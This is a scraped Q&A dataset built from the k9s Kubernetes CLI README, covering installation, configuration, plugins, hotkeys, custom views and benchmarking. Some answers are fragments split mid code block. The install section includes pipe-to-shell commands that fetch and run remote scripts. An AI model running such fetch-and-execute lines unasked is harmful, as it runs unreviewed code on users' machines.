{"id": "gh_5518bdb2d63d", "question": "How to: K9s - Kubernetes CLI To Manage Your Clusters In Style!", "question_body": "About derailed/k9s", "answer": "K9s provides a terminal UI to interact with your Kubernetes clusters.\nThe aim of this project is to make it easier to navigate, observe and manage\nyour applications in the wild. K9s continually watches Kubernetes\nfor changes and offers subsequent commands to interact with your observed resources.\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 32508, "answer_score": 10, "has_code": false, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605089"}
{"id": "gh_df8dbadecd98", "question": "How to: Screenshots", "question_body": "About derailed/k9s", "answer": "1. Pods\n2. Logs\n3. Deployments\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605105"}
{"id": "gh_d1f0ce085afe", "question": "How to: Demo Videos/Recordings", "question_body": "About derailed/k9s", "answer": "* [K9s v0.40.0 -Column Blow- Sneak peek](https://youtu.be/iy6RDozAM4A)\n* [K9s v0.31.0 Configs+Sneak peek](https://youtu.be/X3444KfjguE)\n* [K9s v0.30.0 Sneak peek](https://youtu.be/mVBc1XneRJ4)\n* [Vulnerability Scans](https://youtu.be/ULkl0MsaidU)\n* [K9s v0.29.0](https://youtu.be/oiU3wmoAkBo)\n* [K9s v0.21.3](https://youtu.be/wG8KCwDAhnw)\n* [K9s v0.19.X](https://youtu.be/kj-WverKZ24)\n* [K9s v0.18.0](https://www.youtube.com/watch?v=zMnD5e53yRw)\n* [K9s v0.17.0](https://www.youtube.com/watch?v=7S33CNLAofk&feature=youtu.be)\n* [K9s Pulses](https://asciinema.org/a/UbXKPal6IWpTaVAjBBFmizcGN)\n* [K9s v0.15.1](https://youtu.be/7Fx4XQ2ftpM)\n* [K9s v0.13.0](https://www.youtube.com/watch?v=qaeR2iK7U0o&t=15s)\n* [K9s v0.9.0](https://www.youtube.com/watch?v=bxKfqumjW4I)\n* [K9s v0.7.0 Features](https://youtu.be/83jYehwlql8)\n* [K9s v0 Demo](https://youtu.be/k7zseUhaXeU)\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": false, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605112"}
{"id": "gh_fd6e59879fa2", "question": "How to: Documentation", "question_body": "About derailed/k9s", "answer": "Please refer to our [K9s documentation](https://k9scli.io) site for installation, usage, customization and tips.\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 32508, "answer_score": 10, "has_code": false, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605116"}
{"id": "gh_0342704ddff5", "question": "How to: Slack Channel", "question_body": "About derailed/k9s", "answer": "Wanna discuss K9s features with your fellow `K9sers` or simply show your support for this tool?\n\n* Channel: [K9sersSlack](https://k9sers.slack.com/)\n* Invite: [K9slackers Invite](https://join.slack.com/t/k9sers/shared_invite/zt-3360a389v-ElLHrb0Dp1kAXqYUItSAFA)\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32508, "answer_score": 10, "has_code": false, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605121"}
{"id": "gh_f5c26c56af41", "question": "How to: Installation", "question_body": "About derailed/k9s", "answer": "K9s is available on Linux, macOS and Windows platforms.\nBinaries for Linux, Windows and Mac are available as tarballs in the [release page](https://github.com/derailed/k9s/releases).\n\n* Via [Homebrew](https://brew.sh/) for macOS or Linux\n\n   ```shell\n   brew install derailed/k9s/k9s\n   ```\n\n* Via [MacPorts](https://www.macports.org)\n\n   ```shell\n   sudo port install k9s\n   ```\n\n* Via [snap](https://snapcraft.io/k9s) for Linux\n\n  ```shell\n  snap install k9s --devmode\n  ```\n\n* On Arch Linux\n\n  ```shell\n  pacman -S k9s\n  ```\n\n* On OpenSUSE Linux distribution\n\n  ```shell\n  zypper install k9s\n  ```\n\n* On FreeBSD\n\n  ```shell\n  pkg install k9s\n  ```\n\n* On Ubuntu\n\n  ```shell\n  wget https://github.com/derailed/k9s/releases/latest/download/k9s_linux_amd64.deb && apt install ./k9s_linux_amd64.deb && rm k9s_linux_amd64.deb\n  ```\n\n* On Fedora (42+)\n\n  ```shell\n  dnf install k9s\n  ```\n\n* Via [Winget](https://github.com/microsoft/winget-cli) for Windows\n\n  ```shell\n  winget install k9s\n  ```\n\n* Via [Scoop](https://scoop.sh) for Windows\n\n  ```shell\n  scoop install k9s\n  ```\n\n* Via [Chocolatey](https://chocolatey.org/packages/k9s) for Windows\n\n  ```shell\n  choco install k9s\n  ```\n\n* Via a GO install\n\n  ```shell\n  # NOTE: The dev version will be in effect!\n  go install github.com/derailed/k9s@latest\n  ```\n\n* Via [Webi](https://webinstall.dev) for Linux and macOS\n\n  ```shell\n  curl -sS https://webinstall.dev/k9s | bash\n  ```\n\n* Via [pkgx](https://pkgx.dev/pkgs/k9scli.io/) for Linux and macOS\n\n  ```shell\n  pkgx k9s\n  ```\n\n* Via [gah](https://github.com/marverix/gah) for Linux and macOS\n\n  ```shell\n  gah install k9s\n  ```\n\n* Via [Webi](https://webinstall.dev) for Windows\n\n  ```shell\n  curl.exe -A MS https://webinstall.dev/k9s | powershell\n  ```\n\n* As a [Docker Desktop Extension](https://docs.docker.com/desktop/extensions/) (for the Docker Desktop built in Kubernetes Server)\n\n  ```shell\n  docker extension install spurin/k9s-dd-extension:latest\n  ```\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605133"}
{"id": "gh_fdf2bd775277", "question": "How to: Building From Source", "question_body": "About derailed/k9s", "answer": "K9s is currently using GO v1.23.X or above.\n In order to build K9s from source you must:\n\n 1. Clone the repo\n 2. Build and run the executable\n\n      ```shell\n      make build && ./execs/k9s\n      ```\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605138"}
{"id": "gh_06f2bd847905", "question": "How to: Running the official Docker image", "question_body": "About derailed/k9s", "answer": "You can run k9s as a Docker container by mounting your `KUBECONFIG`:\n\n  ```shell\n  docker run --rm -it -v $KUBECONFIG:/root/.kube/config derailed/k9s\n  ```\n\n  For default path it would be:\n\n  ```shell\n  docker run --rm -it -v ~/.kube/config:/root/.kube/config derailed/k9s\n  ```", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605144"}
{"id": "gh_92665c625563", "question": "How to: Building your own Docker image", "question_body": "About derailed/k9s", "answer": "You can build your own Docker image of k9s from the [Dockerfile](Dockerfile) with the following:\n\n  ```shell\n  docker build -t k9s-docker:v0.0.1 .\n  ```\n\n  You can get the latest stable `kubectl` version and pass it to the `docker build` command with the `--build-arg` option.\n  You can use the `--build-arg` option to pass any valid `kubectl` version (like `v1.18.0` or `v1.19.1`).\n\n  ```shell\n  KUBECTL_VERSION=$(make kubectl-stable-version 2>/dev/null)\n  docker build --build-arg KUBECTL_VERSION=${KUBECTL_VERSION} -t k9s-docker:0.1 .\n  ```\n\n  Run your container:\n\n  ```shell\n  docker run --rm -it -v ~/.kube/config:/root/.kube/config k9s-docker:0.1\n  ```\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605150"}
{"id": "gh_79244db2ff03", "question": "How to: PreFlight Checks", "question_body": "About derailed/k9s", "answer": "* K9s uses 256 colors terminal mode. On `Nix system make sure TERM is set accordingly.\n\n    ```shell\n    export TERM=xterm-256color\n    ```\n\n* In order to issue resource edit commands make sure your EDITOR and KUBE_EDITOR env vars are set.\n\n    ```shell\n    # Kubectl edit command will use this env var.\n    export KUBE_EDITOR=my_fav_editor\n    ```\n\n* K9s prefers recent kubernetes versions ie 1.28+\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605155"}
{"id": "gh_5974a579b9a2", "question": "How to: K8S Compatibility Matrix", "question_body": "About derailed/k9s", "answer": "|         k9s        | k8s client |\n| ------------------ | ---------- |\n|     >= v0.27.0     |   1.26.1   |\n| v0.26.7 - v0.26.6  |   1.25.3   |\n| v0.26.5 - v0.26.4  |   1.25.1   |\n| v0.26.3 - v0.26.1  |   1.24.3   |\n| v0.26.0 - v0.25.19 |   1.24.2   |\n| v0.25.18 - v0.25.3 |   1.22.3   |\n| v0.25.2 - v0.25.0  |   1.22.0   |\n|      <= v0.24      |   1.21.3   |\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605161"}
{"id": "gh_d971882a68f7", "question": "How to: Logs And Debug Logs", "question_body": "About derailed/k9s", "answer": "Given the nature of the ui k9s does produce logs to a specific location.\nTo view the logs and turn on debug mode, use the following commands:\n\n```shell", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605169"}
{"id": "gh_0f1aeb992521", "question": "How to: Find out where the logs are stored", "question_body": "About derailed/k9s", "answer": "k9s info\n```\n\n```text\n ____  __.________\n|    |/ _/   __   \\______\n|      < \\____    /  ___/\n|    |  \\   /    /\\___ \\\n|____|__ \\ /____//____  >\n        \\/            \\/\n\nVersion:           vX.Y.Z\nConfig:            /Users/fernand/.config/k9s/config.yaml\nLogs:              /Users/fernand/.local/state/k9s/k9s.log\nDumps dir:         /Users/fernand/.local/state/k9s/screen-dumps\nBenchmarks dir:    /Users/fernand/.local/state/k9s/benchmarks\nSkins dir:         /Users/fernand/.local/share/k9s/skins\nContexts dir:      /Users/fernand/.local/share/k9s/clusters\nCustom views file: /Users/fernand/.local/share/k9s/views.yaml\nPlugins file:      /Users/fernand/.local/share/k9s/plugins.yaml\nHotkeys file:      /Users/fernand/.local/share/k9s/hotkeys.yaml\nAlias file:        /Users/fernand/.local/share/k9s/aliases.yaml\n```", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605176"}
{"id": "gh_ed22a4b8e068", "question": "How to: View K9s logs", "question_body": "About derailed/k9s", "answer": "```shell\ntail -f /Users/fernand/.local/data/k9s/k9s.log\n```", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605180"}
{"id": "gh_09085b65d5d9", "question": "How to: Customize logs destination", "question_body": "About derailed/k9s", "answer": "You can override the default log file destination either with the `--logFile` argument:\n\n```shell\nk9s --logFile /tmp/k9s.log\nless /tmp/k9s.log\n```\n\nOr through the `K9S_LOGS_DIR` environment variable:\n\n```shell\nK9S_LOGS_DIR=/var/log k9s\nless /var/log/k9s.log\n```", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605185"}
{"id": "gh_a7087b47eae4", "question": "How to: <a id=\"popeye\"></a>Popeye Configuration", "question_body": "About derailed/k9s", "answer": "K9s has integration with [Popeye](https://popeyecli.io/), which is a Kubernetes cluster sanitizer.  Popeye itself uses a configuration called `spinach.yml`, but when integrating with K9s the cluster-specific file should be name `$XDG_CONFIG_HOME/share/k9s/clusters/clusterX/contextY/spinach.yml`.  This allows you to have a different spinach config per cluster.\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 32508, "answer_score": 10, "has_code": false, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605228"}
{"id": "gh_1ac74b32d39e", "question": "How to: Node Shell", "question_body": "About derailed/k9s", "answer": "By enabling the nodeShell feature gate on a given cluster, K9s allows you to shell into your cluster nodes. Once enabled, you will have a new `s` for `shell` menu option while in node view. K9s will launch a pod on the selected node using a special k9s_shell pod. Furthermore, you can refine your shell pod by using a custom docker image preloaded with the shell tools you love. By default k9s uses a BusyBox image, but you can configure it as follows:\n\nAlternatively, you can now override the context configuration by setting an env variable that can override all clusters node shell gate using `K9S_FEATURE_GATE_NODE_SHELL=true|false`\n\n```yaml", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605233"}
{"id": "gh_5b86b600f1d2", "question": "How to: $XDG_CONFIG_HOME/k9s/config.yaml", "question_body": "About derailed/k9s", "answer": "k9s:\n  # You can also further tune the shell pod specification\n  shellPod:\n    image: cool_kid_admin:42\n    namespace: blee\n    limits:\n      cpu: 100m\n      memory: 100Mi\n```\n\nThen in your cluster configuration file...\n\n```yaml", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605238"}
{"id": "gh_8252a90896d5", "question": "How to: $XDG_DATA_HOME/k9s/clusters/cluster-1/context-1", "question_body": "About derailed/k9s", "answer": "k9s:\n  cluster: cluster-1\n  readOnly: false\n  namespace:\n    active: default\n    lockFavorites: false\n    favorites:\n    - kube-system\n    - default\n  view:\n    active: po\n  featureGates:\n    nodeShell: true # => Enable this feature gate to make nodeShell available on this cluster\n  portForwardAddress: localhost\n```", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605244"}
{"id": "gh_e1374f191fb0", "question": "How to: Customizing the Shell Pod", "question_body": "About derailed/k9s", "answer": "You can also customize the shell pod by adding a `hostPathVolume` to your shell pod. This allows you to mount a local directory or file into the shell pod. For example, if you want to mount the Docker socket into the shell pod, you can do so as follows:\n```yaml\nk9s:\n  shellPod:\n    hostPathVolume:\n    - name: docker-socket\n      # Mount the Docker socket into the shell pod\n      mountPath: /var/run/docker.sock\n      # The path on the host to mount\n      hostPath: /var/run/docker.sock\n      readOnly: true\n```\nThis will mount the Docker socket into the shell pod at `/var/run/docker.sock` and make it read-only. You can also mount any other directory or file in a similar way.\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605249"}
{"id": "gh_46a2beab4358", "question": "How to: Command Aliases", "question_body": "About derailed/k9s", "answer": "In K9s, you can define your very own command aliases (shortnames) to access your resources. In your `$HOME/.config/k9s` define a file called `aliases.yaml`.\nA K9s alias defines pairs of alias:gvr. A gvr (Group/Version/Resource) represents a fully qualified Kubernetes resource identifier. Here is an example of an alias file:\n\n```yaml", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605254"}
{"id": "gh_776a5976f91f", "question": "How to: $XDG_DATA_HOME/k9s/aliases.yaml", "question_body": "About derailed/k9s", "answer": "aliases:\n  pp: v1/pods\n  crb: rbac.authorization.k8s.io/v1/clusterrolebindings\n  # As of v0.30.0 you can also refer to another command alias...\n  fred: pod fred app=blee # => view pods in namespace fred with labels matching app=blee\n```\n\nUsing this aliases file, you can now type `:pp` or `:crb` or `:fred` to activate their respective commands.\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605259"}
{"id": "gh_d9069e769a6e", "question": "How to: HotKey Support", "question_body": "About derailed/k9s", "answer": "Entering the command mode and typing a resource name or alias, could be cumbersome for navigating thru often used resources.\nWe're introducing hotkeys that allow users to define their own key combination to activate their favorite resource views.\n\nAdditionally, you can define context specific hotkeys by add a context level configuration file in `$XDG_DATA_HOME/k9s/clusters/clusterX/contextY/hotkeys.yaml`\n\nIn order to surface hotkeys globally please follow these steps:\n\n1. Create a file named `$XDG_CONFIG_HOME/k9s/hotkeys.yaml`\n2. Add the following to your `hotkeys.yaml`. You can use resource name/short name to specify a command ie same as typing it while in command mode.\n\n      ```yaml\n      #  $XDG_CONFIG_HOME/k9s/hotkeys.yaml\n      hotKeys:\n        # Hitting Shift-0 navigates to your pod view\n        shift-0:\n          shortCut:    Shift-0\n          description: Viewing pods\n          command:     pods\n        # Hitting Shift-1 navigates to your deployments\n        shift-1:\n          shortCut:    Shift-1\n          description: View deployments\n          command:     dp\n        # Hitting Shift-2 navigates to your xray deployments\n        shift-2:\n          shortCut:    Shift-2\n          description: Xray Deployments\n          command:     xray deploy\n        # Hitting Shift-S view the resources in the namespace of your current selection\n        shift-s:\n          shortCut:    Shift-S\n          override:    true # => will override the default shortcut related action if set to true (default to false)\n          description: Namespaced resources\n          command:     \"$RESOURCE_NAME $NAMESPACE\"\n          keepHistory: true # whether you can return to the previous view\n      ```\n\n Not feeling so hot? Your custom hotkeys will be listed in the help view `?`.\n Also your hotkeys file will be automatically reloaded so you can readily use your hotkeys as you define them.\n\n You can choose any keyboard shortcuts that make sense to you, provided they are not part of the standard K9s shortcuts list.\n\n Similarly, referencing environment variables in hotkeys is also supported. The available environment variables can refer to the description in the [Plugins](#plugins) section.\n\n> NOTE: This feature/configuration might change in future releases!\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605267"}
{"id": "gh_56f40ff758ed", "question": "How to: Port Forwarding over websockets", "question_body": "About derailed/k9s", "answer": "K9s follows `kubectl` feature flag environment variables to enable/disable port-forwarding over websockets. (default enabled in >1.30)\nTo disable Websocket support, set `KUBECTL_PORT_FORWARD_WEBSOCKETS=false`\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32508, "answer_score": 10, "has_code": false, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605272"}
{"id": "gh_9380a87072b2", "question": "How to: FastForwards", "question_body": "About derailed/k9s", "answer": "As of v0.25.0, you can leverage the `FastForwards` feature to tell K9s how to default port-forwards. In situations where you are dealing with multiple containers or containers exposing multiple ports, it can be cumbersome to specify the desired port-forward from the dialog as in most cases, you already know which container/port tuple you desire. For these use cases, you can now annotate your manifests with the following annotations:\n\n@ `k9scli.io/auto-port-forwards`\n  activates one or more port-forwards directly bypassing the port-forward dialog all together.\n@ `k9scli.io/port-forwards`\n  pre-selects one or more port-forwards when launching the port-forward dialog.\n\nThe annotation value takes on the shape `container-name::[local-port:]container-port`\n\n> NOTE: for either cases above you can specify the container port by name or number in your annotation!", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": false, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605278"}
{"id": "gh_f41aac453895", "question": "How to: Custom Views", "question_body": "About derailed/k9s", "answer": "[SneakCast v0.17.0 on The Beach! - Yup! sound is sucking but what a setting!](https://youtu.be/7S33CNLAofk)\n\nYou can change which columns shows up for a given resource via custom views. To surface this feature, you will need to create a new configuration file, namely `$XDG_CONFIG_HOME/k9s/views.yaml`. This file leverages GVR (Group/Version/Resource) to configure the associated table view columns. If no GVR is found for a view the default rendering will take over (ie what we have now). Going wide will add all the remaining columns that are available on the given resource after your custom columns. To boot, you can edit your views config file and tune your resources views live!\n\n📢 🎉 As of `release v0.40.0` you can specify json parse expressions to further customize your resources rendering.\n\nThe new column syntax is as follows:\n\n> COLUMN_NAME<:json_parse_expression><|column_attributes>\n\nWhere `:json_parse_expression` represents an expression to pull a specific snippet out of the resource manifest.\nSimilar to `kubectl -o custom-columns` command. This expression is optional.\n\n> IMPORTANT! Columns must be valid YAML strings. Thus if your column definition contains non-alpha chars\n> they must figure with either single/double quotes or escaped via `\\`\n\n> NOTE! Be sure to watch k9s logs as any issues with the custom views specification are only surfaced in the logs.\n\nAdditionally, you can specify column attributes to further tailor the column rendering.\nTo use this you will need to add a `|` indicator followed by your rendering bits.\nYou can have one or more of the following attributes:\n\n* `T` -> time column indicator\n* `N` -> number column indicator\n* `W` -> turns on wide column aka only shows while in wide mode. Defaults to the standard resource definition when present.\n* `S` -> Ensures a column is visible and not wide. Overrides `wide` std resource definition if present.\n* `H` -> Hides the column\n* `L` -> Left align (default)\n* `R` -> Right align\n\nHere is a sample views configuration that customize a pods and services views.\n\n```yaml", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605292"}
{"id": "gh_1cc9b3bf1295", "question": "How to: $XDG_CONFIG_HOME/k9s/views.yaml", "question_body": "About derailed/k9s", "answer": "views:\n  v1/pods:\n    columns:\n      - AGE\n      - NAMESPACE|WR                                     # => 🌚 Specifies the NAMESPACE column to be right aligned and only visible while in wide mode\n      - ZORG:.metadata.labels.fred\\.io\\.kubernetes\\.blee # => 🌚 extract fred.io.kubernetes.blee label into it's own column\n      - BLEE:.metadata.annotations.blee|R                # => 🌚 extract annotation blee into it's own column and right align it\n      - NAME\n      - IP\n      - NODE\n      - STATUS\n      - READY\n      - MEM/RL|S                                         # => 🌚 Overrides std resource default wide attribute via `S` for `Show`\n      - '%MEM/R|'                                        # => NOTE! column names with non alpha names need to be quoted as columns must be strings!\n\n  v1/pods@fred:                                          # => 🌚 New v0.40.6! Customize columns for a given resource and namespace!\n    columns:\n      - AGE\n      - NAME|WR\n\n  v1/pods@kube*:                                         # => 🌚 New v0.40.6! You can also specify a namespace using a regular expression.\n    columns:\n      - NAME\n      - AGE\n      - LABELS\n\n  cool-kid:                                              # => 🌚 New v0.40.8! You can also reference a specific alias and display a custom view for it\n    columns:\n      - AGE\n      - NAMESPACE|WR\n\n  v1/services:\n    columns:\n      - AGE\n      - NAMESPACE\n      - NAME\n      - TYPE\n      - CLUSTER-IP\n```\n\n> 🩻 NOTE: This is experimental and will most likely change as we iron this out!\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605303"}
{"id": "gh_936e3a30627f", "question": "How to: Plugin Examples", "question_body": "About derailed/k9s", "answer": "Define several plugins and host them in a single file. These can leave in the K9s root config so that they are available on any clusters. Additionally, you can define cluster/context specific plugins for your clusters of choice by adding clusterA/contextB/plugins.yaml file.\n\nThe following defines a plugin for viewing logs on a selected pod using `ctrl-l` as shortcut.\n\n```yaml", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605310"}
{"id": "gh_bac5492dd881", "question": "How to: $XDG_DATA_HOME/k9s/plugins.yaml", "question_body": "About derailed/k9s", "answer": "plugins:\n  # Defines a plugin to provide a `ctrl-l` shortcut to tail the logs while in pod view.\n  fred:\n    shortCut: Ctrl-L\n    override: false\n    overwriteOutput: false\n    confirm: false\n    dangerous: false\n    description: Pod logs\n    scopes:\n    - pods\n    command: kubectl\n    background: false\n    args:\n    - logs\n    - -f\n    - $NAME\n    - -n\n    - $NAMESPACE\n    - --context\n    - $CONTEXT\n```\n\nSimilarly you can define the plugin above in a directory using either a file per plugin or several plugins per files as follow...\n\nThe following defines two plugins namely fred and zorg.\n\n```yaml", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605317"}
{"id": "gh_6ddc4c61d21f", "question": "How to: $XDG_DATA_HOME/k9s/plugins/misc-plugins/blee.yaml", "question_body": "About derailed/k9s", "answer": "fred:\n  shortCut: Shift-B\n  description: Bozo\n  scopes:\n  - deploy\n  command: bozo\n\nzorg:\n  shortCut: Shift-Z\n  description: Pod logs\n  scopes:\n  - svc\n  command: zorg\n```\n\nLastly you can define plugin snippets in their own file. The snippet will be named from the file name. In this case, we define a `bozo` plugin using a plugin snippet.\n\n```yaml", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605323"}
{"id": "gh_a4dc64bd6cdd", "question": "How to: $XDG_DATA_HOME/k9s/plugins/schtuff/bozo.yaml", "question_body": "About derailed/k9s", "answer": "shortCut: Shift-B\ndescription: Bozo\nscopes:\n- deploy\ncommand: bozo\n```\n\n> NOTE: This is an experimental feature! Options and layout may change in future K9s releases as this feature solidifies.\n\n---", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605327"}
{"id": "gh_101e37372b9a", "question": "How to: Benchmark Your Applications", "question_body": "About derailed/k9s", "answer": "K9s integrates [Hey](https://github.com/rakyll/hey) from the brilliant and super talented [Jaana Dogan](https://github.com/rakyll). `Hey` is a CLI tool to benchmark HTTP endpoints similar to AB bench. This preliminary feature currently supports benchmarking port-forwards and services (Read the paint on this is way fresh!).\n\nTo setup a port-forward, you will need to navigate to the PodView, select a pod and a container that exposes a given port. Using `SHIFT-F` a dialog comes up to allow you to specify a local port to forward. Once acknowledged, you can navigate to the PortForward view (alias `pf`) listing out your active port-forwards. Selecting a port-forward and using `CTRL-B` will run a benchmark on that HTTP endpoint. To view the results of your benchmark runs, go to the Benchmarks view (alias `be`). You should now be able to select a benchmark and view the run stats details by pressing `\n`. NOTE: Port-forwards only last for the duration of the K9s session and will be terminated upon exit.\n\nInitially, the benchmarks will run with the following defaults:\n\n* Concurrency Level: 1\n* Number of Requests: 200\n* HTTP Verb: GET\n* Path: /\n\nThe PortForward view is backed by a new K9s config file namely: `$XDG_DATA_HOME/k9s/clusters/clusterX/contextY/benchmarks.yaml`. Each cluster you connect to will have its own bench config file, containing the name of the K8s context for the cluster. Changes to this file should automatically update the PortForward view to indicate how you want to run your benchmarks.\n\nBenchmarks result reports are stored in `$XDG_STATE_HOME/k9s/clusters/clusterX/contextY`\n\nHere is a sample benchmarks.yaml configuration. Please keep in mind this file will likely change in subsequent releases!\n\n```yaml", "tags": ["derailed"], "source": "github_gists", "category": "derailed", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32508, "answer_score": 10, "has_code": true, "url": "https://github.com/derailed/k9s", "collected_at": "2026-01-17T08:15:32.605334"}
{"id": "gh_df82f775ddb9", "question": "How to: This file resides in  $XDG_DATA_HOME/k9s/clusters/clusterX/contextY/benchmarks.yaml", "question_body": "About derailed/k9s", "answer": "benchmarks:\n  # Indicates the default concurrency and number of requests setting if a container or service rule does not match.\n  defaults:\n    # One concurrent connection\n    concurrency: 1\n    # Number of requests that will be sent to an endpoint\n    requests: 500\n  containers:\n    # Containers section allows you to configure your http container's endpoints and benchmarking settings.\n    # NOTE: the container ID syntax uses namespace/pod-name:container-name\n    default/nginx:nginx:\n      # Benchmark a container named nginx using POST HTTP verb using http://localhost:port/bozo URL and headers.\n      concurrency: 1\n      requests: 10000\n      http:\n        path: /bozo\n        method: POST\n        body:\n          {\"fred\":\"blee\"}\n        header:\n          Accept:\n            - text/html\n          Content-Type:\n            - application/json\n  services:\n    # Similarly you can Benchmark an HTTP service exposed either via NodePort, LoadBalancer types.\n    # Service ID is ns/svc-name\n    default/nginx:\n      # Set the concurrency level\n      concurrency: 5\n      # Number of requests to be sent\n      requests: 500\n      http:\n        method: GET\n        # This setting will depend on whether service is NodePort or LoadBalancer. NodePort may require vendor port 